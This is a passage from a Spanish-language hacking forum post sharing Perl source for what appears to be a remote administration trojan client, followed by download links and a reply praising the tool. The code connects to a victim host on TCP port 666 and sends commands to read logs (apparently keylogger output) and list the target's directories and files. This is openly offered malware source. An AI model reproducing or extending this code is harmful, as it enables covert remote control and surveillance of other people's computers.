        print "\n\n[Logs]\n\n";
        $re = daryrecibir( $_[0], "verlogs" );
        print $re. "\n\n";
        print "\n[+] Press any key to continue\n";
        <stdin>;
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 19 ) {
        &menu;
    }
    elsif ( $opcion eq 20 ) {
        print "\n[+] Press any key to continue\n";
        <stdin>;
        exit 1;
    }
    else {
        &menuo;
    }
}

sub daryrecibir {

    my $sockex = new IO::Socket::INET(
        PeerAddr => $_[0],
        PeerPort => 666,
        Proto    => 'tcp',
        Timeout  => 5
    );

    print $sockex $_[1] . "\r\n";
    $sockex->read( $re, 5000 );
    $sockex->close;
    return $re . "\r";
}

sub show {

    my $re = daryrecibir( $_[0], "getcwd" . "\r\n" );
    print "\n\n[+] Directory : $re\n\n";
    $re1 = daryrecibir( $_[0], "dirnow ACATOY" . $re . "ACATOY" . "\r\n" );
    print "\n\n[Directories found]\n\n";
    while ( $re1 =~ /DIREX(.*?)DIREX/ig ) {
        if ( $1 ne "" ) {
            print "[+] $1\n";
        }
    }

    print "\n\n[Files found]\n\n";

    while ( $re1 =~ /FILEX(.*?)FILEX/ig ) {
        if ( $1 ne "" ) {
            print "[+] $1\n";
        }
    }

}

#The End ?
Si quieren bajar el programa lo pueden hacer de aca :

[Enlace externo eliminado para invitados].
[Enlace externo eliminado para invitados].

Eso seria todo.
como siempre doddy,excelente aporte y buenisima herramienta. Tantos "views" y nadie responde....que mal.
Gracias hermano y saludos
CryptoSharex.com  | Aceptando donaciones..gracias: 1CiVFiGwCtf1kpASyQB9j8dhNyJs5AfaMX
Responder

Volver a “Nuestros Programas”